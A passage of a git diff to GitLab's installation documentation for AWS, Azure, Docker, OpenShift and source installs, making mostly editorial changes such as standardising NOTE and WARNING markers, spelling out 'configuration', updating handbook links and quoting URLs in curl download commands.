OpenShift](https://docs.gitlab.com/charts/installation/cloud/openshift.html): Install GitLab on OpenShift by using the GitLab Helm charts. - [Install GitLab on DC/OS](https://d2iq.com/blog/gitlab-dcos): Install GitLab on Mesosphere DC/OS via the [GitLab-Mesosphere integration](https://about.gitlab.com/blog/2016/09/16/announcing-gitlab-and-mesosphere/). - [Install GitLab on DigitalOcean](https://about.gitlab.com/blog/2016/04/27/getting-started-with-gitlab-and-digitalocean/): Install Omnibus GitLab on DigitalOcean. - _Testing only!_ [DigitalOcean and Docker Machine](digitaloceandocker.md): @@ -107,7 +107,7 @@ installation: - [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/): Activate all GitLab Enterprise Edition functionality with a license. - [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab - Runners, the agents that are responsible for all of GitLab's CI/CD features. + Runners, the agents that are responsible for all of the GitLab CI/CD features. - [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to allow hosting of static sites. - [GitLab Registry](../administration/packages/container_registry.md): With the @@ -129,7 +129,7 @@ installation: faster, more advanced code search across your entire GitLab instance. - [Geo replication](../administration/geo/index.md): Geo is the solution for widely distributed development teams. -- [Release and maintenance policy](../policy/maintenance.md): Learn about GitLab's +- [Release and maintenance policy](../policy/maintenance.md): Learn about GitLab policies governing version naming, as well as release pace for major, minor, patch, and security releases. - [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers. diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md index a1774ddb770..28f04c1a7a7 100644 --- a/doc/install/aws/index.md +++ b/doc/install/aws/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -10,7 +10,7 @@ type: howto This page offers a walkthrough of a common configuration for GitLab on AWS. You should customize it to accommodate your needs. -NOTE: **Note:** +NOTE: For organizations with 1,000 users or less, the recommended AWS installation method is to launch an EC2 single box [Omnibus Installation](https://about.gitlab.com/install/) and implement a snapshot strategy for backing up the data. See the [1,000 user reference architecture](../../administration/reference_architectures/1k_users.md) for more. ## Introduction @@ -33,7 +33,7 @@ In addition to having a basic familiarity with [AWS](https://docs.aws.amazon.com - A domain name for the GitLab instance - An SSL/TLS certificate to secure your domain. If you do not already own one, you can provision a free public SSL/TLS certificate through [AWS Certificate Manager](https://aws.amazon.com/certificate-manager/)(ACM) for use with the [Elastic Load Balancer](#load-balancer) we'll create. -NOTE: **Note:** +NOTE: It can take a few hours to validate a certificate provisioned through ACM. To avoid delays later, request your certificate as soon as possible. ## Architecture @@ -63,7 +63,7 @@ Here's a list of the AWS services we will use, with links to pricing information ## Create an IAM EC2 instance role and profile -As we'll be using [Amazon S3 object storage](#amazon-s3-object-storage), our EC2 instances need to have read, write, and list permissions for our S3 buckets. To avoid embedding AWS keys in our GitLab config, we'll make use of an [IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) to allow our GitLab instance with this access. We'll need to create an IAM policy to attach to our IAM role: +As we'll be using [Amazon S3 object storage](#amazon-s3-object-storage), our EC2 instances need to have read, write, and list permissions for our S3 buckets. To avoid embedding AWS keys in our GitLab configuration, we'll make use of an [IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) to allow our GitLab instance with this access. We'll need to create an IAM policy to attach to our IAM role: ### Create an IAM Policy @@ -312,7 +312,7 @@ We need a security group for our database that will allow inbound traffic from t ### Create the database -DANGER: **Warning:** +WARNING: Avoid using burstable instances (t class instances) for the database as this could lead to performance issues due to CPU credits running out during sustained periods of high load. Now, it's time to create the database: @@ -349,7 +349,7 @@ Now that the database is created, let's move on to setting up Redis with ElastiC ElastiCache is an in-memory hosted caching solution. Redis maintains its own persistence and is used to store session data, temporary cache information, and background job queues for the GitLab application. -DANGER: **Warning:** +WARNING: GitLab recommends you use ElastiCache Redis version 5.0.x, because version 6.x contains a bug that [prevents Sidekiq from processing jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/281683). @@ -399,7 +399,7 @@ a bug that [prevents Sidekiq from processing jobs](https://gitlab.com/gitlab-org Since our GitLab instances will be in private subnets, we need a way to connect to these instances via SSH to make configuration changes, perform upgrades, etc. One way of doing this is via a [bastion host](https://en.wikipedia.org/wiki/Bastion_host), sometimes also referred to as a jump box. -TIP: **Tip:** +NOTE: If you do not want to maintain bastion hosts, you can set up [AWS Systems Manager Session Manager](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html) for access to instances. This is beyond the scope of this document. ### Create Bastion Host A @@ -470,7 +470,7 @@ Connect to your GitLab instance via **Bastion Host A** using [SSH Agent Forwardi #### Disable Let's Encrypt -Since we're adding our SSL certificate at the load balancer, we do not need GitLab's built-in support for Let's Encrypt. Let's Encrypt [is enabled by default](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration) when using an `https` domain in GitLab 10.7 and later, so we need to explicitly disable it: +Since we're adding our SSL certificate at the load balancer, we do not need the GitLab built-in support for Let's Encrypt. Let's Encrypt [is enabled by default](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration) when using an `https` domain in GitLab 10.7 and later, so we need to explicitly disable it: 1. Open `/etc/gitlab/gitlab.rb` and disable it: @@ -557,7 +557,7 @@ gitlab=# \q #### Set up Gitaly -CAUTION: **Caution:** +WARNING: In this architecture, having a single Gitaly server creates a single point of failure. Use [Gitaly Cluster](../../administration/gitaly/praefect.md) to remove this limitation. @@ -585,8 +585,8 @@ Let's create an EC2 instance where we'll install Gitaly: 1. Click **Review and launch** followed by **Launch** if you're happy with your settings. 1. Finally, acknowledge that you have access to the selected private key file or create a new one. Click **Launch Instances**. -NOTE: **Note:** -Instead of storing configuration _and_ repository data on the root volume, you can also choose to add an additional EBS volume for repository storage. Follow the same guidance as above. See the [Amazon EBS pricing](https://aws.amazon.com/ebs/pricing/). We do not recommend using EFS as it may negatively impact GitLab’s performance. You can review the [relevant documentation](../../administration/nfs.md#avoid-using-awss-elastic-file-system-efs) for more details. +NOTE: +Instead of storing configuration _and_ repository data on the root volume, you can also choose to add an additional EBS volume for repository storage. Follow the same guidance as above. See the [Amazon EBS pricing](https://aws.amazon.com/ebs/pricing/). We do not recommend using EFS as it may negatively impact the performance of GitLab. You can review the [relevant documentation](../../administration/nfs.md#avoid-using-awss-elastic-file-system-efs) for more details. Now that we have our EC2 instance ready, follow the [documentation to install GitLab and set up Gitaly on its own server](../../administration/gitaly/index.md#run-gitaly-on-its-own-server). Perform the client setup steps from that document on the [GitLab instance we created](#install-gitlab) above. @@ -639,12 +639,12 @@ HostKey /etc/ssh_static/ssh_host_ed25519_key Since we're not using NFS for shared storage, we will use [Amazon S3](https://aws.amazon.com/s3/) buckets to store backups, artifacts, LFS objects, uploads, merge request diffs, container registry images, and more. Our documentation includes [instructions on how to configure object storage](../../administration/object_storage.md) for each of these data types, and other information about using object storage with GitLab. -NOTE: **Note:** +NOTE: Since we are using the [AWS IAM profile](#create-an-iam-role) we created earlier, be sure to omit the AWS access key and secret access key/value pairs when configuring object storage. Instead, use `'use_iam_profile' => true` in your configuration as shown in the object storage documentation linked above. Remember to run `sudo gitlab-ctl reconfigure` after saving the changes to the `gitlab.rb` file. -NOTE: **Note:** +NOTE: One current feature of GitLab that still requires a shared directory (NFS) is [GitLab Pages](../../user/project/pages/index.md). There is [work in progress](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196) @@ -757,7 +757,7 @@ To back up GitLab: sudo gitlab-backup create ``` -NOTE: **Note:** +NOTE: For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`. ### Restoring GitLab from a backup @@ -778,7 +778,7 @@ released, you can update your GitLab instance: sudo gitlab-backup create ``` -NOTE: **Note:** +NOTE: For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`. 1. Update the repositories and install GitLab: diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md index 9dc30ab2476..15906bc056f 100644 --- a/doc/install/azure/index.md +++ b/doc/install/azure/index.md @@ -1,16 +1,16 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'Learn how to spin up a pre-configured GitLab VM on Microsoft Azure.' type: howto --- # Install GitLab on Microsoft Azure -CAUTION: **Deprecated:** -The GitLab image in the Azure Marketplace is deprecated. You can track GitLab's -efforts to [post a new image](https://gitlab.com/gitlab-com/alliances/microsoft/gitlab-tracker/-/issues/2). +WARNING: +This guide is deprecated and pending an update. For the time being, use the GitLab +[image in the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview). Azure is Microsoft's business cloud and GitLab is a pre-configured offering on the Azure Marketplace. Hopefully, you aren't surprised to hear that Microsoft @@ -74,7 +74,7 @@ The first items we need to configure are the basic settings of the underlying vi 1. Enter a `User name` - e.g. `gitlab-admin` 1. Select an `Authentication type`, either **SSH public key** or **Password**: - NOTE: **Note:** + NOTE: If you're unsure which authentication type to use, select **Password** 1. If you chose **SSH public key** - enter your `SSH public key` into the field provided @@ -86,7 +86,7 @@ The first items we need to configure are the basic settings of the underlying vi 1. Choose the appropriate `Subscription` tier for your Azure account 1. Choose an existing `Resource Group` or create a new one - e.g. **"GitLab-CE-Azure"** - NOTE **Note:** + NOTE: A "Resource group" is a way to group related resources together for easier administration. We chose "GitLab-CE-Azure", but your resource group can have the same name as your VM. @@ -103,7 +103,7 @@ Check the settings you have entered, and then click **"OK"** when you're ready t Next, you need to choose the size of your VM - selecting features such as the number of CPU cores, the amount of RAM, the size of storage (and its speed), etc. -NOTE: **Note:** +NOTE: In common with other cloud vendors, Azure operates a resource/usage pricing model, i.e. the more resources your VM consumes the more it will cost you to run, so make your selection carefully. You'll see that Azure provides an _estimated_ monthly cost beneath each VM Size to help @@ -115,7 +115,7 @@ ahead and select this one, but please choose the size which best meets your own  -NOTE: **Note:** +NOTE: Be aware that while your VM is active (known as "allocated"), it will incur "compute charges" which, ultimately, you will be billed for. So, even if you're using the free trial credits, you'll likely want to learn @@ -142,7 +142,7 @@ new VM. You'll be billed only for the VM itself (e.g. "Standard DS1 v2") because  -NOTE: **Note:** +NOTE: At this stage, you can review and modify the any of the settings you have made during all previous steps, just click on any of the four steps to re-open them. @@ -185,7 +185,7 @@ _(the full domain name of your own VM will be different, of course)_. Click **"Save"** for the changes to take effect. -NOTE **Note:** +NOTE: If you want to use your own domain name, you will need to add a DNS `A` record at your domain registrar which points to the public IP address of your Azure VM. If you do this, you'll need to make sure your VM is configured to use a _static_ public IP address (i.e. not a _dynamic_ one) @@ -202,7 +202,7 @@ Ports are opened by adding _security rules_ to the **"Network security group"** has been assigned to. If you followed the process above, then Azure will have automatically created an NSG named `GitLab-CE-nsg` and assigned the `GitLab-CE` VM to it. -NOTE: **Note:** +NOTE: If you gave your VM a different name then the NSG automatically created by Azure will also have a different name - the name you have your VM, with `-nsg` appended to it. @@ -334,7 +334,7 @@ Under the **"Components"** section, we can see that our VM is currently running GitLab. This is the version of GitLab which was contained in the Azure Marketplace **"GitLab Community Edition"** offering we used to build the VM when we wrote this tutorial. -NOTE **Note:** +NOTE: The version of GitLab in your own VM instance may well be different, but the update process will still be the same. diff --git a/doc/install/digitaloceandocker.md b/doc/install/digitaloceandocker.md index deb8a8cc6ca..edd081c66c1 100644 --- a/doc/install/digitaloceandocker.md +++ b/doc/install/digitaloceandocker.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -12,7 +12,7 @@ recommended for ease of future upgrades or keeping the data you create. ## Initial setup -In this guide you'll configure a Digital Ocean droplet and set up Docker +This guide configures a Digital Ocean droplet and sets up Docker locally on either macOS or Linux. ### On macOS @@ -31,7 +31,7 @@ locally on either macOS or Linux. - <https://docs.docker.com/machine/install-machine/> -NOTE: **Note:** +NOTE: The rest of the steps are identical for macOS and Linux. ## Create new Docker host @@ -39,10 +39,10 @@ The rest of the steps are identical for macOS and Linux. 1. Login to Digital Ocean. 1. Generate a new API token at <https://cloud.digitalocean.com/settings/api/tokens>. - This command will create a new DO droplet called `gitlab-test-env-do` that will act as a Docker host. + This command creates a new Digital Ocean droplet called `gitlab-test-env-do` that acts as a Docker host. - NOTE: **Note:** - 4GB is the minimum requirement for a Docker host that will run more than one GitLab instance. + NOTE: + 4GB is the minimum requirement for a Docker host that runs more than one GitLab instance. - RAM: 4GB - Name: `gitlab-test-env-do` @@ -70,7 +70,7 @@ Resource: <https://docs.docker.com/machine/drivers/digital-ocean/>. ### Connect your shell to the new machine -In this example we'll create a GitLab EE 8.10.8 instance. +This example creates a GitLab EE 8.10.8 instance. First connect the Docker client to the Docker host you created previously. diff --git a/doc/install/docker.md b/doc/install/docker.md index ca780caa563..0cc73c2d64e 100644 --- a/doc/install/docker.md +++ b/doc/install/docker.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index --- diff --git a/doc/install/google-protobuf.md b/doc/install/google-protobuf.md index 434817c48cb..ae7b0548d51 100644 --- a/doc/install/google-protobuf.md +++ b/doc/install/google-protobuf.md @@ -3,3 +3,6 @@ redirect_to: 'installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcs --- This document was moved to [another location](installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcso6-version-glibc_214-not-found). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/google_cloud_platform/index.md b/doc/install/google_cloud_platform/index.md index da2b30df476..22f32d69c02 100644 --- a/doc/install/google_cloud_platform/index.md +++ b/doc/install/google_cloud_platform/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'Learn how to install a GitLab instance on Google Cloud Platform.' type: howto --- @@ -10,7 +10,7 @@ type: howto This guide will help you install GitLab on a [Google Cloud Platform (GCP)](https://cloud.google.com/) instance. -NOTE: **Alternative installation method:** +NOTE: Google provides a whitepaper for [deploying production-ready GitLab on Google Kubernetes Engine](https://cloud.google.com/solutions/deploying-production-ready-gitlab-on-gke), including all steps and external resource configuration. These are an alternative to using a GCP VM, and use @@ -91,7 +91,7 @@ here's how you configure GitLab to be aware of the change: In the future you might want to set up [connecting with an SSH key](https://cloud.google.com/compute/docs/instances/connecting-to-instance) instead. -1. Edit the config file of Omnibus GitLab using your favorite text editor: +1. Edit the configuration file of Omnibus GitLab using your favorite text editor: ```shell sudo vim /etc/gitlab/gitlab.rb diff --git a/doc/install/installation.md b/doc/install/installation.md index a6d00ad140e..983c7ed577f 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -102,16 +102,6 @@ apt-get upgrade -y apt-get install sudo -y ``` -During this installation, some files need to be edited manually. If you are familiar -with vim, set it as default editor with the commands below. If you are not familiar -with vim, skip this and keep using the default editor: - -```shell -# Install vim and set as default editor -sudo apt-get install -y vim -sudo update-alternatives --set editor /usr/bin/vim.basic -``` - ### Build dependencies Install the required packages (needed to compile Ruby and native extensions to Ruby gems): @@ -215,7 +205,7 @@ Download Ruby and compile it: ```shell mkdir /tmp/ruby && cd /tmp/ruby -curl --remote-name --progress https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz +curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz" echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz cd ruby-2.7.2 @@ -235,7 +225,7 @@ page](https://golang.org/dl). # Remove former Go installation folder sudo rm -rf /usr/local/go -curl --remote-name --progress https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz +curl --remote-name --progress "https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz" echo '512103d7ad296467814a6e3f635631bd35574cab3369a97a323c9a585ccaa569 go1.13.5.linux-amd64.tar.gz' | shasum -a256 -c - && \ sudo tar -C /usr/local -xzf go1.13.5.linux-amd64.tar.gz sudo ln -sf /usr/local/go/bin/{go,godoc,gofmt} /usr/local/bin/ @@ -257,10 +247,10 @@ we need to install through the following commands: ```shell # install node v12.x -curl --location https://deb.nodesource.com/setup_12.x | sudo bash - +curl --location "https://deb.nodesource.com/setup_12.x" | sudo bash - sudo apt-get install -y nodejs -curl --silent --show-error https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +curl --silent --show-error "https://dl.yarnpkg.com/debian/pubkey.gpg" | sudo apt-key add - echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list sudo apt-get update sudo apt-get install yarn @@ -278,7 +268,7 @@ sudo adduser --disabled-login --gecos 'GitLab' git ## 6. Database -NOTE: **Note:** +NOTE: In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 13.0 and later, we [require PostgreSQL 11+](requirements.md#postgresql-requirements). 1. Install the database packages: @@ -443,7 +433,7 @@ Make sure to replace `<X-Y-stable>` with the stable branch that matches the version you want to install. For example, if you want to install 11.8 you would use the branch name `11-8-stable`. -CAUTION: **Caution:** +WARNING: You can change `<X-Y-stable>` to `master` if you want the *bleeding edge* version, but never install `master` on a production server! ### Configure It @@ -553,7 +543,7 @@ sudo -u git -H chmod o-rwx config/database.yml ### Install Gems -NOTE: **Note:** +NOTE: As of Bundler 1.5.2, you can invoke `bundle install -jN` (where `N` is the number of your processor cores) and enjoy parallel gems installation with measurable difference in completion time (~60% faster). Check the number of your cores with `nproc`. For more information, see this [post](https://thoughtbot.com/blog/parallel-gem-installing-using-bundler). Make sure you have `bundle` (run `bundle -v`): @@ -773,14 +763,14 @@ sudo apt-get install -y nginx ### Site Configuration -Copy the example site config: +Copy the example site configuration: ```shell sudo cp lib/support/nginx/gitlab /etc/nginx/sites-available/gitlab sudo ln -s /etc/nginx/sites-available/gitlab /etc/nginx/sites-enabled/gitlab ``` -Make sure to edit the config file to match your setup. Also, ensure that you match your paths to GitLab, especially if installing for a user other than the `git` user: +Make sure to edit the configuration file to match your setup. Also, ensure that you match your paths to GitLab, especially if installing for a user other than the `git` user: ```shell # Change YOUR_SERVER_FQDN to the fully-qualified @@ -795,21 +785,21 @@ Make sure to edit the config file to match your setup. Also, ensure that you mat sudo editor /etc/nginx/sites-available/gitlab ``` -If you intend to enable GitLab Pages, there is a separate NGINX config you need +If you intend to enable GitLab Pages, there is a separate NGINX configuration you need to use. Read all about the needed configuration at the [GitLab Pages administration guide](../administration/pages/index.md). -If you want to use HTTPS, replace the `gitlab` NGINX config with `gitlab-ssl`. See [Using HTTPS](#using-https) for HTTPS configuration details. +If you want to use HTTPS, replace the `gitlab` NGINX configuration with `gitlab-ssl`. See [Using HTTPS](#using-https) for HTTPS configuration details. ### Test Configuration -Validate your `gitlab` or `gitlab-ssl` NGINX config file with the following command: +Validate your `gitlab` or `gitlab-ssl` NGINX configuration file with the following command: ```shell sudo nginx -t ``` -You should receive `syntax is okay` and `test is successful` messages. If you receive errors check your `gitlab` or `gitlab-ssl` NGINX config file for typos, etc. as indicated in the error message given. +You should receive `syntax is okay` and `test is successful` messages. If you receive errors check your `gitlab` or `gitlab-ssl` NGINX configuration file for typos, etc. as indicated in the error message given. Verify that the installed version is greater than 1.12.1: @@ -842,7 +832,7 @@ sudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production If all items are green, congratulations on successfully installing GitLab! -TIP: **Tip:** +NOTE: Supply the `SANITIZE=true` environment variable to `gitlab:check` to omit project names from the output of the check command. ### Initial Login @@ -878,7 +868,7 @@ To use GitLab with HTTPS: 1. In the `config.yml` of GitLab Shell: 1. Set `gitlab_url` option to the HTTPS endpoint of GitLab (e.g. `https://git.example.com`). 1. Set the certificates using either the `ca_file` or `ca_path` option. -1. Use the `gitlab-ssl` NGINX example config instead of the `gitlab` config. +1. Use the `gitlab-ssl` NGINX example configuration instead of the `gitlab` configuration. 1. Update `YOUR_SERVER_FQDN`. 1. Update `ssl_certificate` and `ssl_certificate_key`. 1. Review the configuration file and consider applying other security and performance enhancing features. @@ -951,7 +941,7 @@ production: ### Custom SSH Connection -If you are running SSH on a non-standard port, you must change the GitLab user's SSH config. +If you are running SSH on a non-standard port, you must change the GitLab user's SSH configuration. ```plaintext # Add to /home/git/.ssh/config @@ -973,7 +963,7 @@ As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced Unicorn as If you want to switch back to Unicorn, follow these steps: 1. Finish the GitLab setup so you have it up and running. -1. Copy the supplied example Unicorn config file into place: +1. Copy the supplied example Unicorn configuration file into place: ```shell cd /home/git/gitlab diff --git a/doc/install/ldap.md b/doc/install/ldap.md index 164478f09f7..e88363f81b1 100644 --- a/doc/install/ldap.md +++ b/doc/install/ldap.md @@ -3,3 +3,6 @@ redirect_to: '../administration/auth/ldap/index.md' --- This document was moved to [another location](../administration/auth/ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/openshift_and_gitlab/index.md b/doc/install/openshift_and_gitlab/index.md index 2d7389a48a0..21fe87a71b1 100644 --- a/doc/install/openshift_and_gitlab/index.md +++ b/doc/install/openshift_and_gitlab/index.md @@ -1,13 +1,13 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- # How to install GitLab on OpenShift Origin 3 -CAUTION: **Deprecated:** +WARNING: This article is deprecated. Use the official Kubernetes Helm charts for installing GitLab to OpenShift. Check out the [official installation docs](https://docs.gitlab.com/charts/installation/cloud/openshift.html) @@ -19,7 +19,7 @@ for details. platform created by [RedHat](https://www.redhat.com/en), based on [Kubernetes](https://kubernetes.io/) and [Docker](https://www.docker.com). That means you can host your own PaaS for free and almost with no hassle. -In this tutorial, we will see how to deploy GitLab in OpenShift using GitLab's +In this tutorial, we will see how to deploy GitLab in OpenShift using the GitLab official Docker image while getting familiar with the web interface and CLI tools that will help us achieve our goal. @@ -27,12 +27,12 @@ For a video demonstration on installing GitLab on OpenShift, check the article [ ## Prerequisites -CAUTION: **Caution:** +WARNING: This information is no longer up to date, as the current versions have changed and products have been renamed. OpenShift 3 is not yet deployed on RedHat's offered [Online platform](https://www.openshift.com/), -so in order to test it, we will use an [all-in-one Virtualbox image](https://www.okd.io/minishift/) that is +so in order to test it, we will use an [all-in-one VirtualBox image](https://www.okd.io/minishift/) that is offered by the OpenShift developers and managed by Vagrant. If you haven't done already, go ahead and install the following components as they are essential to test OpenShift easily: @@ -48,7 +48,7 @@ latest Origin release is used: - **OpenShift** `v1.3.0` (is pre-installed in the [VM image](https://app.vagrantup.com/openshift/boxes/origin-all-in-one)) - **Kubernetes** `v1.3.0` (is pre-installed in the [VM image](https://app.vagrantup.com/openshift/boxes/origin-all-in-one)) -NOTE: **Note:** +NOTE: If you intend to deploy GitLab on a production OpenShift cluster, there are some limitations to bare in mind. Read on the [limitations](#current-limitations) section for more information and follow the linked links for the relevant @@ -267,7 +267,7 @@ And then let's import it in OpenShift: oc create -f openshift-template.json -n openshift ``` -NOTE: **Note:** +NOTE: The `-n openshift` namespace flag is a trick to make the template available to all projects. If you recall from when we created the `gitlab` project, `oc` switched to it automatically, and that can be verified by the `oc status` command. If @@ -314,7 +314,7 @@ If you are deploying to production you will want to change the **GitLab instance hostname** and use greater values for the volume sizes. If you don't provide a password for PostgreSQL, it will be created automatically. -NOTE: **Note:** +NOTE: The `gitlab.apps.10.2.2.2.nip.io` hostname that is used by default will resolve to the host with IP `10.2.2.2` which is the IP our VM uses. It is a trick to have distinct FQDNs pointing to services that are on our local network. @@ -326,8 +326,8 @@ Now that we configured this, let's see how to manage and scale GitLab. Setting up GitLab for the first time might take a while depending on your internet connection and the resources you have attached to the all-in-one VM. -GitLab's Docker image is quite big (~500MB), so you'll have to wait until -it's downloaded and configured before you use it. +The GitLab Docker image is quite big (approximately 500 MB), so you'll have to +wait until it's downloaded and configured before you use it. ### Watch while GitLab gets deployed @@ -464,7 +464,7 @@ OpenShift's website about [autoscaling](https://docs.okd.io/3.11/dev_guide/pod_a As stated in the [all-in-one VM](https://www.okd.io/minishift/) page: > By default, OpenShift will not allow a container to run as root or even a -non-random container assigned userid. Most Docker images in the Dockerhub do not +non-random container assigned userid. Most Docker images in Docker Hub do not follow this best practice and instead run as root. The all-in-one VM we are using has this security turned off so it will not diff --git a/doc/install/pivotal/index.md b/doc/install/pivotal/index.md index 41a5ea82ea2..1ac667898ab 100644 --- a/doc/install/pivotal/index.md +++ b/doc/install/pivotal/index.md @@ -1,16 +1,16 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Pivotal Tile **(PREMIUM ONLY)** -CAUTION: **Discontinued:** +WARNING: As of September 13, 2017, the GitLab Enterprise Plus for Pivotal Cloud Foundry tile on Pivotal Network has reached its End of Availability (“EoA”) and is no longer available for download or sale through Pivotal. Current customers with -active subscriptions will continue to receive support from GitLab through their +active subscriptions continue to receive support from GitLab through their subscription term. Pivotal and GitLab are collaborating on creating a new Kubernetes-based tile for the Pivotal Container Service. Please contact GitLab support with any questions regarding GitLab Enterprise Plus for Pivotal Cloud Foundry. diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md index 6355806f067..ed108a35c4b 100644 --- a/doc/install/postgresql_extensions.md +++ b/doc/install/postgresql_extensions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Managing PostgreSQL extensions diff --git a/doc/install/redis.md b/doc/install/redis.md index cff5c2f2611..9048f777a0d 100644 --- a/doc/install/redis.md +++ b/doc/install/redis.md @@ -3,3 +3,6 @@ redirect_to: installation.md#7-redis --- This document was moved to [another location](installation.md#7-redis). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md index 82cf134f968..90026e6e49e 100644 --- a/doc/install/relative_url.md +++ b/doc/install/relative_url.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -47,7 +47,7 @@ See the [requirements](requirements.md) document for more information. ## Enable relative URL in GitLab -NOTE: **Note:** +NOTE: Do not make any changes to your web server configuration file regarding relative URL. The relative URL support is implemented by GitLab Workhorse. @@ -111,7 +111,7 @@ Make sure to follow all steps below: -authBackend http://127.0.0.1:8080/gitlab ``` - NOTE: **Note:** + NOTE: If you are using a custom init script, make sure to edit the above GitLab Workhorse setting as needed. diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 3f02544a5ab..cced6d0a3f6 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -106,12 +106,12 @@ Apart from a local hard drive you can also mount a volume that supports the netw If you have enough RAM and a recent CPU the speed of GitLab is mainly limited by hard drive seek times. Having a fast drive (7200 RPM and up) or a solid state drive (SSD) will improve the responsiveness of GitLab. -NOTE: **Note:** -Since file system performance may affect GitLab's overall performance, [we don't recommend using AWS EFS for 